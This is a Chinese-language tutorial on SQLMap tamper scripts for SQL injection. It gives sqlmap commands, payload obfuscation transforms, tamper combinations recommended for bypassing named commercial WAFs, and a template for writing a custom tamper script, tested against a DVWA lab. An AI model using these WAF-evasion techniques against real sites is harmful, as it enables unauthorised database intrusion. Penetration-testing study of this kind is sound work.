目录
1. Tamper 脚本基础概念
1.1 什么是Tamper脚本
Tamper脚本是SQLMap中用于修改注入payload的Python脚本,通过对原始注入语句进行变形和混淆,绕过安全防护机制。
1.2 工作原理
1.3 主要功能
字符编码转换
SQL关键字替换
空白字符变形
注释添加
大小写随机化
2. Tamper 脚本调用方法
2.1 基本调用语法
sqlmap -u <URL> --tamper=<脚本名称>
2.2 多脚本组合调用
sqlmap -u "http://example.com" --tamper="space2comment,charencode,randomcase"
2.3 查看所有可用脚本
sqlmap --list-tampers
2.4 调试模式查看效果
sqlmap -u "http://example.com" --tamper=space2comment.py --proxy=http://127.0.0.1:8080 //空格转注释符/**/
3. Tamper 脚本分类详解
3.1 编码类脚本
脚本名称 | 功能描述 | 示例转换 |
---|---|---|
base64encode.py |
Base64编码 | SELECT → U0VMRUNU |
charencode.py |
URL编码 | ' → %27 |
charunicodeencode.py |
Unicode编码 | ' → %u0027 |
3.2 关键字混淆类
脚本名称 | 功能描述 | 示例转换 |
---|---|---|
randomcase.py |
随机大小写 | SELECT → SeLEcT |
versionedkeywords.py |
添加版本注释 | UNION → /*!UNION*/ |
greatest.py |
替换比较符 | A > B → GREATEST(A,B+1)=A |
3.3 空白字符处理类
脚本名称 | 功能描述 | 示例转换 |
---|---|---|
space2comment.py |
空格转注释 | → /**/ |
space2plus.py |
空格转加号 | → + |
space2randomblank.py |
空格转随机空白 | → %09 |
3.4 特殊字符处理类
脚本名称 | 功能描述 | 示例转换 |
---|---|---|
apostrophemask.py |
单引号替换 | ' → %EF%BC%87 |
between.py |
比较符替换 | > 1 → BETWEEN 1 AND 1 |
equaltolike.py |
等号转LIKE | = 1 → LIKE 1 |
4. 针对不同WAF的Tamper组合策略
4.1 CloudFlare
--tamper="between.py,randomcase.py,space2comment.py"
4.2 ModSecurity
--tamper="charencode.py,space2plus.py,unionalltounion.py"
4.3 Imperva
--tamper="equaltolike.py,greatest.py,space2randomblank.py"
4.4 阿里云WAF
--tamper="charunicodeencode.py,space2comment.py,versionedkeywords.py"
5. Tamper 脚本开发指南
5.1 脚本结构模板
将SELECT改为SELSELECTECT,双写绕过
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL # 定义执行优先级
def dependencies():
pass # 定义依赖检查
def tamper(payload, **kwargs):
"""
:param payload: 原始payload
:param kwargs: 额外参数
:return: 修改后的payload
"""
return payload.replace("SELECT", "SELSELECTECT") if payload else payload
5.3 调试方法
测试语句:
sqlmap "http://192.168.21.4/DVWA/vulnerabilities/sqli/?id=1" --tamper=select2 --proxy=http://127.0.0.1:8080 --dbs -v3
使用
--proxy
参数捕获请求
2.添加调试输出 -v3:
6. 实战案例分析
6.1 案例1:绕过基础过滤
场景:过滤了空格和单引号 解决方案:
sqlmap -u "http://example.com?id=1" --tamper="space2comment.py,apostrophemask.py"
6.2 案例2:绕过关键字检测
场景:检测UNION SELECT
解决方案:
sqlmap -u "http://example.com" --tamper="randomcase.py,versionedkeywords.py"
6.3 案例3:综合绕过
场景:未知WAF防护 测试方法:
sqlmap -u "http://example.com" --tamper="tamper1,tamper2" --batch --test-filter=WAF
7. 注意事项与最佳实践
7.1 重要注意事项
脚本执行顺序影响最终效果
某些脚本组合可能导致语法错误
避免在关键业务环境直接测试
7.2 最佳实践建议
测试前先分析目标防护特征
从简单脚本开始逐步组合
记录有效的tamper组合
定期更新tamper脚本库
7.3 性能优化技巧
--threads=5 # 多线程测试
--smart # 智能模式
--batch # 自动选择默认选项
7.4 日志清理建议
--flush-session # 清除会话文件
--cleanup # 删除临时文件
附录:常用Tamper速查表
防护类型 | 推荐Tamper组合 |
---|---|
基础过滤 | space2comment,charencode |
关键字检测 | randomcase,versionedkeywords |
高级WAF | between,greatest,charunicodeencode |
云WAF | equaltolike,space2randomblank |